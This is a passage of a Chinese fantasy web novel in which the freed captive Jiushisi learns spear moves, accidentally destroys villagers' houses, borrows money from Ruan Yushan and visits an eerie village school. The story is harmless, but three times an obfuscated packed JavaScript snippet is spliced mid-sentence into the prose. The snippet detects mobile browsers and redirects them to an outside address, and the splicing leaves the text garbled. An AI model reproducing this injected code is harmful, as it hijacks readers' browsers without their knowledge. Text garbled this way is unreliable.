如今这些涟漪看起来像九十四洗完澡后在浴桶中留下的痕迹,阮玉山忽感到有些渴了,扬起杯底,视线跟随桶里的涟漪飘荡在九十四洗过澡后的清澈水面,一口一口将手中冷茶饮尽。 - 背对他的九十四在第二天睡了个日上三竿。 刚睁眼时,九十四下意识像往常一样先伸手去抓笼子的栏杆。 抓了个空,他茫然地抬起头,看见窗外一轮高升的太阳。 阮玉山不知何时把窗户支开了一点缝隙,正好让阳光晒到九十四的被子上,又不至于使寒风灌进来把人吹醒。 他自认这并非是他发自内心地想要照顾九十四,只是自己在府邸住的屋子通风惯了,不喜欢憋闷,因此太阳一出来他就支了窗,顺便换下烧了一夜的碳再添新的。 九十四掀开被子坐起来,缓过了神,想起自己已经离开饕餮谷了。 他的眼神忽然清明起来——接下来的日子,只要解决阮玉山就够了。 他一骨碌从地铺上起身,突然想到什么,又坐回去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他根本无心跟阮玉山搭话,一门心思想着自己的事。 ——刚才阮玉山就在门外练枪,他却根本察觉不到,连对方一丝一毫的气息都无法捕捉。 这绝不是九十四迟钝平庸。 蝣人的天赋与生俱来,只是未经打磨,但底子在那里,怎么也不至于跟骨珠毫无玄气的普通人一样。 是阮玉山的功力太强,掌控和调息自己内力的能力已入化境,练功好似脚下无根,舞枪也不闻破空之声,无论是武术还是玄术目前都远在他之上。 或者说远在这世上绝大部分人之上。 九十四的双目来来回回扫视阮玉山手中那把木枪。 他也想练。 练什么都可以,可以是枪,可以是棍,甚至可以赤手空拳,总之他就是要练。 练得比阮玉山更厉害,胜过更多的人。 阮玉山的冷笑传到九十四的耳朵里,是回答他方才随口问的问题:“把饭倒进去。” 九十四的视线回到阮玉山脸上。 接着他听见阮玉山说:“活尸也会饿的嘛。” 九十四没有朝阮玉山回嘴。 他心中定下了这桩事,便收敛目光,按捺住此时的想法,先满院子寻找自己的衣裳。 金灿灿的朝阳里,他的绒布长衫和阮玉山的丝锦披风挂在一起,迎风飘荡。 阮玉山绝非是主动想给他洗衣裳。 奈何九十四一身外衫在泥地里滚得实在没眼看,阮玉山又见不得脏,就顺手拿水给他冲两下罢了。 九十四走到衣杆前,伸手摸向自己被洗得一尘不染的外衣,扭头看向阮玉山。 阮玉山见他一大早装哑巴,便也不做反应,只扔了枪,大步流星走去灶上,打开自己温了一上午的米粥。 米粥的清香很快飘满整个院子。 阮玉山盛了粥,还不见九十四过来,仍攥着那件衣服出神,便扬声反问: “洗得您不满意?” 21.倒了 九十四想,阮玉山一定是喝自己的血喝得很满意。 他很不客气地扯下衣裳,一把披在自己身上。 半夜才洗的绒布外衫在外边了晾了几个时辰压根没干,阮玉山今早看的时候衣服还隐隐有冻硬的趋势,好在今儿太阳出来得早,给晒化了些,不过非要穿在身上,那也是又冰又潮的。 果不其然,九十四刚把胳膊伸进袖子里,人还不明白怎么个事儿,身子先打了个冷战。 打完冷战九十四蒙了一下,像是没想通自己刚才怎么会突然发抖。 他甩了甩脑袋,跟身体争夺起自主权,先紧了紧衣裳,再抖擞抖擞肩膀,衣服要把莫名其妙爬到他身上的冷战给抖下去的架势。 阮玉山冷眼旁观,等九十四察觉到他的视线时再嫌弃地从嘴里飘出一个字:“笨。” 九十四站在他的披风下瞅他,忽然把眼皮一敛,眼珠子悄么声儿转了两下,竟然不吭声了。 “你不笨。”九十四再次抬起脸,难得地非但不反驳,还顺着话抬举他,三两大步走过来,端起他盛好的粥唏哩呼噜埋头喝了两大口,“你聪明,把衣服洗得好。” 阮玉山眯眼。 两口粥滑下肚,九十四后知后觉咂摸出味儿来——他的第二顿正经饭,干干净净的白粥原来是这么好的味道。 他恋恋不舍喝完最后一口,把碗砰的放灶上:“聪明人,继续洗。” 说完就大摇大摆地要往院子外边走。 九十四把外衫的腰带攥在手里,衣裳松松垮垮地挂在身上,跟随他朝外走的动作一步一飘荡。 正走着路低头系衣裳,他忽觉有什么东西撬进了自己的衣摆,拽着他无法往前。 “反了你了。”阮玉山坐在小凳子上,一只手支着膝盖撑住下巴,另一只手随手捡起不远处的木枪,枪头钻进九十四的衣衫下摆,转圈一绞,再往回一勾,“怎么不让我八抬大轿送你逃跑?” “八抬大轿是成婚的。”九十四学过这个,因此先纠正了阮玉山,再一脸正经道,“我不逃跑。” 阮玉山似笑非笑:“哦?” 九十四刚要解释自己想出去做什么,就听阮玉山问:“你怎么知道是成婚的?” “……”九十四又用那种怀疑阮玉山哪不对劲儿的眼神看过去。 “书上。”他说,“我有书。” “小人常生气。”阮玉山激他,“你那堆破烂也叫书?” “君子坦荡荡。”九十四不咸不淡地回答,“你这个破烂也叫人。” 论起问题,阮玉山这个人可比他的书大多了。阮玉山都能被万人敬仰地叫做老爷,他那堆破烂怎么就不能叫书了? 不仅要叫书,还要叫圣贤书,叫颜如玉,叫黄金屋。 总之胜过阮玉山千万倍。 不过九十四的嘴皮子目前还没练利索,说不出那么多话。 话说不长,他就学会了闷在肚子里凝练出短短的一句,四两拨千斤地回呛阮玉山也够了。 阮玉山听了他的话一点也不恼。 他就爱看九十四干什么都不服气的样子,连眨眼都带着股劲儿。 尤其是对着他不服气。 天子对他尚且礼让三分,这世上连喘个气也要较着劲比他喘得粗的人太少了。 配着那张脸,阮玉山越看心越痒,越痒就被九十四的眼神挠得越厉害,简直舒服得快找不着北。 他的木枪绞着九十四的衣服往自己这边勾,九十四跟他犟起来,凭着自己如今没有锁链困着一身玄力了,硬是跟他反着来。 阮玉山拽他不动,也不打算用强,只懒洋洋地审问:“你不跑?” 九十四简直很烦:“不跑。” 阮玉山:“当真不跑?” 九十四说:“君无戏言!” 阮玉山很想告诉他这词儿不能这么用,可又很想听听九十四这张嘴里还能蹦出什么话来,万一提醒了,这人以后打定主意不说话了,那岂不是很没意思? 于是又问:“那你去哪?” 九十四想说溜达溜达,可是不会;又暂时没学会“走走”或者“散步”这两个中土词儿;若是用蝣语呢,又要被阮玉山怀疑是不是在骂人。 他闷头想了半天,思考出一个十分书面化的回答。 只见他望着阮玉山,字正腔圆地说道:“步于中庭。” 阮玉山笑了一声。 笑完以后,他把枪一收:“你去吧。” 九十四抬腿要走。 阮玉山把自己晨起烧好以后放在灶上温着的茶水倒了一杯,慢悠悠往嘴里送:“午饭要我来请你?” 九十四一扭头,刚要说不用,便瞅见阮玉山在喝茶漱口。 还不知道从哪找出个小陶盆当作痰盂,把水吐里面。 他见状也大步流星走进屋子,找了个水杯,给自己倒一杯茶,学着阮玉山的样子要漱个口。 茶一入口,九十四的鼻腔扑入一股清香。 他以前也漱口,学着谷里的驯监,驯监拿水和盐漱,他就拿钱拜托驯监也给自己和那些小蝣人一些水和盐。 他们吃得差,活得差,可九十四总固执地认为做人就有做人的章程,人该做的事,他们也要做,差归差些,一样也不能少。 这一下学着阮玉山拿茶漱口,他又有点不习惯。 阮玉山漱口用的茶在府里被下人们叫“金汤”——用上好的毛峰泡了,只喝一口,不等茶叶泡开,漱过便倒了。 府里三等的小厮下人们常会把倒了的茶叶捡起来,洗过晒干后再偷偷拿到外头去卖。 他漱口用的茶叶稀有,常是天子为了安抚红州,千里迢迢打发人送来赏赐的贡茶,即便泡过那么一回给他漱口,下人们再偷出去牟利,也少说有百八十两银子的油水。 九十四学他的模样漱过了口,眼看着杯子里还剩大半茶水,一仰头喝进肚里,再把茶杯一放:“我走了。” 阮玉山瞧他一杯茶拿来又漱又喝,心里好笑,指着他没喝完的茶水说:“还有一口。” 九十四正往外走呢,听见这话头也不回,摆了摆手,学着饕餮谷那些主顾对驯监说话的语气道:“赏你。” 阮玉山嗤笑,懒得同九十四计较,起身欲往屋子里换衣裳。 他对九十四出门这件事不是没有警惕和防备,不过一来九十四骨子里带点犟性和死板,开口承诺过的事不会背弃反悔,那夜阮玉山盯着他发誓,他要是真蒙混过去也就罢了,可既然誓言脱了口,只要不是阮玉山主动放他,他便轻易不会逃离;二来两个人有刺青血契的联系,阮玉山能感受到九十四的大体方位和距离,压根不用担心这人跑得无影无踪。 离开前阮玉山顺走九十四留在灶上的茶杯,抬脚迈步进屋子,同时将剩余茶水一口饮尽。 下一刻,阮玉山退回原位,低头看灶——土砌的灶台面上,九十四刚才放杯子的位置出现了几丝裂痕。 那边九十四出了院门一路朝东,凭借远处过山峰的山头方向来记路,出了村子便到一片竹林。 竹林子小,由一片杨木林围着。 时值深秋,这片林子里的毛竹也长得金灿灿的。 竹子握在手里粗细适中,长得又长,削下来也尖,就是轻了些,除此之外跟阮玉山的木枪都差不多,正好给他练练手。 九十四老大爷似的背着手,绕着每根竹子看了看,再摸一摸,接着握一握,最后摇一摇,找到根称心如意的,便开始想法子给砍下来。 一握粗的毛竹显然不适合再用石子磨断,那得磨到猴年马月去。 九十四摸着头顶在周围又转了一圈,找不到任何可以使用的工具,便抓着竹子犯愁要不要回去在屋子里找找。 他不想回去。 回去就要被阮玉山抓着盘问找工具做什么,交代了一件就要交代第二件,说完砍竹子就得告诉阮玉山自己要练枪,他烦得很。想起阮玉山那张看似英俊实则混蛋的脸和那双时刻在审视人的丹凤眼就烦。 九十四烦得五指紧紧攥住竹竿,全然没听见竹子身上发出的细微的破裂声。 可是不回去也没办法,九十四愁了一会儿,叹一口气,准备调头往家走。 哪晓得调头的时候手上没收劲儿,五指还用力抓着竹子,往前一走,胳膊带着劲儿,硬生生把竹子从根上扯断了。 九十四懵头懵脑地回过头,反应过来自己这是把竹子徒手掰下来了。 他望着竹子被掰下那处的缺口,又瞧瞧竹子尖儿,嫌这竹子太长,找了个合适的位置,又把竹子尖儿连着下边一部分给掰断。 这下握着趁手了。 就是不像杆枪,像根棍儿。 九十四没所谓。管他是枪还是棍儿,能打就行。 他没在书上见过任何一招半式的武术,只能跟着记忆里阮玉山使枪的样子照葫芦画瓢地模仿。 九十四先把这根竹棍丢在脚边,随后学着阮玉山前一晚的动作一脚刹过去,脚尖踩住竹竿的低端,同时足尖使力,把竹竿用脚往空中一撬。 “唰唰唰——!” 整根竹竿跟点了火的炮仗似的往空中直挺挺连转几个大圈,两头尖端在挥动时发出非常快速和凌厉的破空声,到达极高的半空后便朝九十四身后划去。 哪晓得九十四脚下使力太大,竹竿飞得太快太高,往后划落更是飞出了不短的距离。 九十四见机转头,一跃而起,后背与腰腹一鼓作气,往后旋出一个空翻,再扭身向前,伸手自空中夺过竹竿,将竹竿朝左右挽出各一个花影,随后反手将其刺向地面。 竹尖沾打过土地,他如蜻蜓点水般借力翻身,屈膝再度自空中旋身翻转后,胳膊收力,将竹竿往前挽回,杵在地面半跪着落地了。 这一套连招他做得如游鱼入水,没了数十斤的镣铐做累赘,即便不催动任何玄力,也能做到身轻如燕,无师自通。 九十四撑着竹竿站起来,又将它自下而上挽了一圈,看着这根半黄不翠的毛竹,颇为满意。 这是他第一次尝试在阮玉山那里偷师,虽然只偷到点皮毛,不过他现在已是头脑发热,浑身血液沸腾起来,止不住地兴奋——虽然在外人眼中他此刻只是面无表情地对着一根竹子发呆而已。 九十四这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124956|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号人,表面看着越是发呆,脑子里憋的就越是大事儿。 他沉下一口气,闭了闭眼,试着去感受后背那颗骨珠源源不断散发到身体里的玄气。 接着,他握住竹竿的其中四指展开又合上,一股从未体验过的充沛力量从身体蔓延到四肢百骸,九十四几乎感到自己的指尖都盈满了难以言喻的中气,似乎很快就要冲破身体爆发出来。 他的右臂像柳枝一样凭借记忆复刻阮玉山舞枪的招式挥动着。 枪要使两手,他只用一手。竹身挥过身前时,他便跨腿下腰,与地面齐平;竹竿举国头顶时,他便挽手挑动,臂若无骨,躬身而下,将竹子从头顶转至后背,再看看擦着自己劲瘦的腰身回到身前。 九十四玩竹子玩到了兴头上,学着今早看见阮玉山舞的最后一招,两手握住竹身中部,往上一抛,趁竹子直线朝下横向回落时,蜷身上跳翻至竹尾,掌心朝下握住竹竿一端,再用小臂发力,将竹子整根直挺挺地顺着肘部朝后方射出去,接着自己几个后翻半空拦截再将其接住。 哪晓得倒数第二步时他预估错了自己的力道,竹子噌地一下擦过他抬起来的小臂飞向后方,眨眼便刺出一丈,且丝毫没有停落的趋势。 眼看就要射出竹林,九十四一个箭步冲出去,野豹似的追到竹竿前头,眼睁睁看着刺向自己面中的竹尖,二话不说便举起双手合掌将其夹住,意图阻止竹竿继续前进。 谁知这竹竿带着无比巨大的冲力,非但并没能被九十四拦截,反倒逼得他连连后退,直退到一块土坡前,他用一只脚朝后抵住土坡,才暂时没让竹尖刺出去。 他的玄气太强了。 九十四到底是刚刚解脱束缚,完全没学会合理调用自己周身玄气,眼下亲手打出去的武器,在出招时灌满他的玄力,收招时却无法阻挡了。 竹尖又朝他的面门进了一寸,粗糙的毛竹表面带些许着坚硬的竹刺,竹尖前进一寸,竹刺便刺入九十四的掌心一分。 热淋林的鲜血渐渐顺着他的掌心流到竹竿,再从竹竿滴落而下。 下一刻,竹竿尾部由于承载不住两股对冲的力量而渐次爆开成一片一片的篾条,九十四一咬牙,别开身子,忽的松手,电光石火间后退两步,朝竹竿侧前方的杨树跑去,即将到达树下时飞快蹬不上树,再仰后翻身,借力踢向恰好飞到他身前的竹竿,一脚将其踹到对面的木林。 竹子头尾撞到并排的两棵杨树,整根竹子碎裂爆开,零零散散地落到地上。 九十四松了口气,两只掌心这时才传来火辣辣的疼痛感。 他抬起手掌,发现竹条上的硬刺在他刚才松手时被顺带拔了下来,一直扎在他手掌上。 昨夜割血给阮玉山做交易的伤口刚刚愈合,这会儿又加深了一道口子。 他闷不做声地一根一根把那些倒刺从肉里拔出来,才拔完一半,突然听见轰隆两声—— 对面被一脚踢过去的竹子撞上的那两棵树,倒了。 就像此刻在院子里刚被劈好丢进土灶烧水的木柴。 阮玉山穿着常服,两手袖子挽到小臂,正给灶下添柴准备做饭。 院子的地窖里什么都有,原本是衣棚老板为过冬储存的粮食,最多的就是白菜。 肉也有些,但不算多,由于阮玉山给的银子很够,那肉便随便他们吃了。 他正微微弯腰,一手拿着蒲扇,一手撑在灶台边上,盯着锅里似开不开的水思考要不要再加点柴,便感应到了九十四的出现。 果不其然,一抬头,远远的瞧见九十四闷头朝院里走来,边走还时不时往回看两眼。 阮玉山跟着九十四往远了看,发现九十四后头还有俩看起来像村里人的山户。 三个人之间气氛很微妙,九十四沉默得像犯事儿的,那俩眉眼间的恼怒像是来讨债的。 他再把目光放回九十四身上,发现这人两只手血糊刺啦的红得像两块云腿——还是只有骨头没有肉那种。 阮玉山站直了身子,捏着蒲扇背起手,默不作声等着九十四走到自己跟前来。 两个山户虽神情不忿,不过还算讲礼,跟着九十四到了院门外就停了,像是等九十四拿什么东西。 阮玉山越看越来兴趣,他还是第一次见九十四脸上出现这种吃了十天腌咸菜一般难看又掺着点老实巴交的脸色。 最重要的是,九十四显然是冲着他走过来的。 他静静等着九十四走到自己跟前,低垂着眼看九十四黑漆漆不肯抬起来的头顶。 再不想抬也得抬,债主在院子外等着呢。 九十四也明白这道理,所以闷了半晌,抬头瞅了阮玉山一眼。 这一眼刚好对上阮玉山满脸看好戏的神色,于是乎九十四五味杂陈的眼神又添了层阴沉沉的冷意,似乎对接下来要做的事感到很不情愿。 他再次把头闷下去,琢磨半天,又回头看看守在院子外那俩人,像是实在找不到别的法子了,一鼓作气,愣头青似的直截了当跟阮玉山伸出血淋淋的一只手。 就是开口时声音小了些,完全不比之前那般有底气: “借我点钱。” 22.白脸 阮玉山没说借不借。 他先是轻哼一笑,后背拍着扇子绕着九十四走了一圈,接着弯腰凑到九十四面前。 “步于中庭?”他杵到九十四眼皮子底下,“怎么步出一屁股债来?” 九十四本来因为那一根竹竿两棵树就大为沮丧,这会儿看见阮玉山在他面前事不关己地刻意揶揄,更是一头撞死的心都有了。 不过为了清誉,他还是忍着脾气正经纠正道:“我欠的是钱,不是屁股。” 屁股债这说法实在难听。 九十四不知道阮玉山从哪里看出来自己欠的是屁股债,更不知道自己的屁股能有个什么价值,撞塌了人家修的房子和种的树,谁会不找他要钱,反而要屁股? 看着阮玉山的神色,又打量这人平时的行事作风,九十四暗暗下定决心,今天借了钱,日后一定要尽快还,否则保不准阮玉山今天盯上他的屁股,明天盯上他的腰,后天盯上他的腿,他岂不是只能割肉赔款? 也不知阮玉山听没听明白他的话,低低笑了,打直身子垂眼睨他:“我量别人也不敢要。” 九十四真的很想给阮玉山一拳头:别人敢要,他就肯给? 他的身体,几时轮到阮玉山来评判了? 他差不多快忘了阮玉山丢在饕餮谷那几十万金的飞票。 那几十万金子没有买下九十四的自由,却正好买下了九十四的身体。 他就是再长一百个屁股一百条腿,那也是归阮玉山所有。 奈何现在拿人手短,九十四只能把拳头攥在掌心里,等解决了燃眉之急再说。 林烟临走时按阮玉山的吩咐带走了那个专装金银细软的包袱和几个行李,阮玉山自己身上还带着一笔小钱,买两栋京中高楼暂且还不在话下,自然出得起九十四撞塌的两家村舍。 他从房里拿出一片金叶子,递给九十四:“告诉他们,多了算送的。” 九十四用一种很莫名其妙的眼神瞅着阮玉山。 他很不想欠阮玉山那么多钱,更不知道阮玉山在慷概什么。 今时不同往日,他是没有再去斗场像斗兽一样表演同时满场薅钱的机会了,九十四挣钱的路子目前来看十分有限,坦白点说就是完全没有路子。 阮玉山现在拿着他借的钱大方,那完全是在替他大方嘛! 要还一个金叶子,他非得去卖血不可。 九十四是不愿意卖血的,畜生的血才会被人拿去做交易,他不做。不仅自己不做,总有一天也要让他族人都不做。 想到这儿,他心里叹了口气,说什么也得先把人的钱还了。身上背着债,是无论如何走不快的。 他接过金叶子,来到那两个山户面前。 他们的脑袋一半是烧化的皮肉,另一半是空荡荡的黑洞。 九十四忽然定眼瞧着他们的脸,总觉得哪里不对劲,但也说不上来,回头看看阮玉山,阮玉山冲他挑眉毛,显然也没觉得不对劲。 他把金叶子递过去,临了又收回来,说:“我跟你们去看。” 方才他控制不住力道,一脚震塌了两棵树,原以为被他所害最严重的就是那两棵树了,哪晓得不多时从下头跑出这两个人来,对着他大为指责,说他干的好事,砍翻了树,撞塌了他们的房子。 九十四这才瞧见,这一带树林和竹林后头是一片沿山而建的土坡,坡上正好有两户人家,屋子就傍在山脚下,背山面水,位置好着呢。 当时事发突然,九十四也无暇细想,对方上来就问他是哪家的,要找上门去说理,叫他赔钱。 好好的房子给他无端撞塌了不赔钱也不是个事,他就三步一回头地领着人回来了。 这会子冷静下来,他心里不对劲,便说要去看。 两个山户也坦荡,他既然要去,就让他跟着,要九十四瞅瞅自己做的孽,数数那家里一应损坏了多少东西。 阮玉山高高地站在檐下灶前,并不阻止。 这是他们进到这儿以后第一次遇见活人。 阮玉山窄长的双目在那两个人身上来回巡视,即便暗中用了玄力感知,也暂时没看出什么异样——谁都是两个眼睛一个嘴,一双耳朵两条腿,能说话能喘气,就是正常的活人。 九十四要去,他并不拦。 一是跟村里存在的一切多接触接触,瞧得越多,越能发现蹊跷;二是九十四对他成天到晚横挑鼻子竖挑眼,阮玉山认为,就得让九十四多跟外头的人打打交道,见识见识人心险恶,才知道他这种宅心仁厚的老爷有多难得。 他一向认为自己平易近人,心地善良,偶尔说话做事独断专裁了些,那也是身在高位不得不使的一些手段。 若真有一日天下大同,他这人是世上最好相处不过的。 可惜九十四是非不分,拿他当豺狼虎豹来提防。 他哪里能算豺狼虎豹?在九十四肩上咬一口,血还没吃进肚子里,先当牛做马地给人洗衣做饭了——九十四也是很不客气,把他使唤得十分顺手。他不是也不计较? 若真要计较,这世上有几个人敢叫他洗手做羹汤的?找死也得挑个好日子。 高不可攀的阮老爷朴素地烧着柴,越想越觉得,九十四太不知好歹,自己该从对方身上讨点什么回来。 熊熊燃烧的灶火中又被丢进一把柴,撞在那些正烧焦的木棍身上。 ——哗啦。 九十四跟随山户回到那片林子下方,刚一踏入,就踩到一堆枯枝败叶。 两个山户走在前头,九十四一路跟在他们后边,看着前方两个人,一人半拉脑袋,凑一块儿刚好拼个整。 他们倒是没说假话,九十四一脚踹倒的两棵成年杨树,正正从他们屋子后方砸下来,将屋顶和房梁从中砸断,好端端的房子成了一片废墟。 林子本就是村里人自己种的,杨树是不错的木材,指着再长壮些砍了卖钱,这下好了,九十四不但要陪屋子的修缮钱,还要赔两棵杨树的木材钱。 他对着山坡上这一大堆残垣断壁,终于找到了心中奇怪所在:“屋子里,只有你们两个人?” “那不是。”其中一个山户指着一块被压塌的房梁下方道,“家里人都在下了田,我女儿还在那儿!” 九十四顺着他指尖所指,看见一块不成形的肉泥在房梁下蠕动。 肉泥呈现出一种流动的不固定形态,上一刻还被断裂的房梁压着,眼下便缓慢地从房梁与废墟的空隙里钻了出来,钻到九十四和两个山户面前,渐渐向上凝出一个模糊的小孩儿形状,没有五官,没有清晰的四肢,却能发出小女孩的声音:“爹爹,我去学堂啦。” 说罢便与九十四擦身而过。 九十四的目光追随她的背影,直到她走出一段,他才开口询问:“哪里有学堂?” 金叶子留给修缮房屋的两个山户,九十四跟随他们的女儿去了学堂。 村子里的学堂修得十分简陋,一个木屋,十几张小桌子,一些奇形怪状的小孩子。 有的在地上蠕动,有的像个人形,有的脸上只有一只眼睛,有的嘴巴长在脖子上,手脚从后背前胸伸出来。 九十四不是学堂里的人,他不进去,只是站在窗外看着他们。 他有些忘了一个正常的人该长什么模样,有几只手,几只脚,脸是不是该长在脑袋上。似乎两个眼睛一个鼻子的是人,三只眼睛两张嘴的也是人。 学堂的夫子是个年轻书生,穿着素净的布衣,眉眼端正,斯斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133539|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文文。 九十四在窗外一站就是大半个时辰,听夫子讲课听得入了迷,靠窗的学生见他没有书本,便把书推到两个人中间,和九十四一起看。 他看着学生围绕脑袋长满一圈的眼睛,低低道:“谢谢。” “你是村里人吗?”学生脸上没有嘴,话音从肚子里发出来,“我没见过你,你长得真好看。” “我不是村里人。”九十四回答他,“我是蝣人。” 堂上夫子讲课的声音似乎有片刻的停顿,九十四抬眼去看,却发现没有任何异常,夫子仍旧在讲学。 朗朗读书声从学堂飘飘扬扬逸到万里无云的碧空下,在通往小院的路上让阵阵秋风吹碎,最后杳杳消散在小院前的树林中。 阮玉山负手站在院子里的屋檐下,头顶几乎与身后的房门齐高。 他一脸平和地仰头看看蓝天,身边是一桌子热饭小菜,心里想的是九十四若是出了事,那这人身后的刺青就该修理一下——毕竟在阮玉山的感知里,这个蝣人目前正在村子某处,好得不得了;若九十四没出事,那这个明知道家里有饭还磨磨蹭蹭不回来吃的九十四也找个日子给好好修理一下。 恶奴欺主,天理不容;三天不打,上房揭瓦。 阮玉山看今天就是个好日子。 他一脚踢起边上的木枪握在手中,照着九十四出门的方向沿途寻了过去。 九十四的脚印很好认。这人长得细高个子,骨头又轻,窄窄的一双脚,衣棚老板给他做的鞋瘦瘦长长,九十四走在地上像脚下无根,分明是成年男人的骨架,脚也没比谁短上一寸,脚印却总比寻常男子浅一些。 阮玉山一眼看出九十四的行动轨迹,跟着那串脚印走,先是路过了那片包围着竹林的杨木林,看到那两个山户在找人一起修缮房屋;再调转另一个方向,走到一处宽阔平坦的所在,眼见着尽头是一所木屋,许多四五岁的小孩子从木屋中鱼贯而出;九十四则在门口,对面站着个眉清目秀的男人。 他正好看见那男人把手中书卷递给九十四,又正好听见那男人轻声细语对九十四说:“这书送你,拿去开蒙正合适。” 阮玉山交叉胳膊,指尖一点一点打在掌心的木枪上。 他当这人为什么不回去吃饭,原来是有更好的落脚点了。 九十四一手接过书,低着头不知在想什么,脸上没什么表情,只是一个劲儿地另一手来回在书面上擦拭,随后又低声而简洁地说了句:“谢谢。” 阮玉山冷笑。 一本破书,爱成这样。 他简直想回阮府把一藏书阁的书通通拿出来扔过去,看看九十四会不会用那样珍重的语气对他也说一句谢谢。 蝣人,天生就没良心。 阮玉山沉下脸,转身就走。 就在此时,学堂外边的对话又传过来。 “我叫席莲生,”那个小白脸对着九十四说,“你叫什么名字?” 九十四擦拭书卷的动作停下了。 他没有名字。 饕餮谷的蝣人都没有名字。 从他们出生起,伴随他们的就是一个个冰冷的序号:七十五,九十四,百十八,白重三。 他们被分批圈养着,在一批蝣人里第几个出生就被编上第几个序号。 他是那一批蝣人里第九十四个出生的,所以就叫九十四,不配有姓,也不配有名。 九十四张了张嘴,正不知如何回答,就听旁边冷冰冰的一道声音响起来。 “找不着路了?还不回来吃饭。” 九十四闻声抬头。 阮玉山一步步走到他面前,眉目间恢复了在饕餮谷时的肃杀和傲慢,语气听起来很不高兴:“当真要我来请你?” 23.披风 阮玉山强盗一样把九十四从席莲生跟前掳走了。 没给席莲生再次追问九十四名字的机会。 回家的路上九十四沉默地翻着手上的书卷,他隐约感觉到阮玉山这次是帮了自己,可惜他的文学水平还没够到学会“解围”这一词的地步,否则他此刻就会在心里给阮玉山方才的行为赋予一个好听的头衔,现在他只能生硬地把阮玉山从“仇人”的阵营里划分一部分出来,归到“恩人”那一边。 至于阮玉山被划分后的那些剩余部分,还是被他公正无私地判在“仇人”中。 就像现在,阮玉山冷冷地在他身后提醒他:“你这是最后一页。” 九十四把书倒着看了。 “书要从右往左翻,不是从左往右翻。”阮玉山想起九十四当个宝一样揣在衣服里的那堆破烂,由于残缺不全,毫无印刷装线的工艺可言,都是靠九十四自己一页一页地叠好,用绳子捆在一起,看到哪一页就从中抽出来,不存在翻页的说法,因此又说道,“只晓得给书,不会教人怎么读。当什么夫子,枉为人师。” 九十四不知道阮玉山在骂谁。 每次遇见阮玉山这种神神叨叨的时候,他最好的方法就是装聋作哑,以免引火烧身。 不成想这回不吭声也要被波及。 阮玉山忽然从后头俯身凑到他脖子边,凉阴阴地嘲讽道:“想把你一口喂成个大胖子,也不怕你噎死。” 九十四啪的一下把书合上,懒得忍了。他觉得阮玉山今天中午像吃了炮仗,说话夹枪带棒的,比在饕餮谷还让人难伺候。 况且他压根不想伺候。 于是他偏过头去睨着阮玉山,两个人鼻尖擦着鼻尖,相隔不过毫厘。 “我只会饿死,不会撑死。”九十四淡淡地回呛他。 阮玉山仿佛因为他的动作心情稍微好了些,弯腰的姿势快靠在他肩上了似的,对着他略微歪头:“真的?” “我什么都吃得下,什么都噎不死。”九十四轻轻挑眉,语调放缓,颇有些跟阮玉山杠上的意思,甚至还往阮玉山眼前凑近了点,“不信你试试。” 阮玉山静静注视他贴到自己跟前的眉眼,不知想到什么,敛起眼皮扬唇笑了一下:“你真敢吃?” 九十四快被说饿了。 他抿了抿嘴,又舔舔嘴唇,皱眉上下打量了一遍阮玉山的脸,蓦地把头别向另一边,有几绺耳后的发丝随着他的动作拂过阮玉山的鼻子和嘴唇。 阮玉山闭上眼,在九十四扭头时带起的风里嗅到一丝极淡的香气。 不是昨夜沐浴的皂角,也不来自洗净的衣裳。 远北蝣人,胎体生香。 原来洗一次就能闻到了。 九十四一言不发地抬脚离开,把阮玉山甩在身后不打算再理会。 阮玉山的下巴轻轻擦过他的肩,身侧吹来凉悠悠的秋风,还带着残存的九十四的香气。 他抬起负在身后的一只手,慢慢站直了身,用指尖摸过自己的鼻尖,又低下眼,用指背摩挲自己的下巴。 再朝前看,九十四已经走出去很远。 金秋的阳光泼洒在九十四一头卷曲的乌发上,九十四步过那片沙沙作响的竹林,阮玉山看见他的每一根发尾都带着若隐若现的光芒。 回到院子里时九十四并没有吃饭,而是一个人打了一盆子清水,顶着日头蹲在院里慢慢洗手。 席莲生给他的书他很珍视,刚才在路上翻阅时也翻阅得万般小心。 他的掌心糊了一手的血,一上午的功夫凝固干涸的血块儿掉了不少,但伤口处还是血肉模糊,连那些尖锐的竹刺都还没从手上拔下来。 竹刺又细又密,九十四一根一根地用手指头拔,拔一根,就皱一下眉头,但死也不吭声。 饕餮谷最忌讳蝣人的惨叫声,没人喜欢听到任何惨叫和哀嚎,驯监听了厌烦,谷主听了厌烦,最重要的是主顾们听了也厌烦。 做生意的地方,哪里容得下货物们哭哭啼啼,别人买去也不吉利。 阮玉山大老远还没踏进院子里,就瞧见他身前那盆水给洗得血泱泱的。 照这个拔法,得拔到何年何月? 刺还没搞完,手先废了。 阮玉山去包袱里拿了镊子——阮府的人做事细致,屋子里下人们知道他此番是出门游玩,更是把平日吃穿行走所需准备得一应俱全,虽说没什么东西用钱买不到,可就怕阮玉山用不惯外头的,又或是遇见特殊情况也未可知。 这镊子就找得正好。 阮玉山从屋子里出来,路过屋檐下头,顺带薅了把小木凳,扔在九十四后边:“坐上来。” 他自个儿往水盆边上单膝蹲下,拿住镊子,朝九十四伸出胳膊:“手拿过来。” 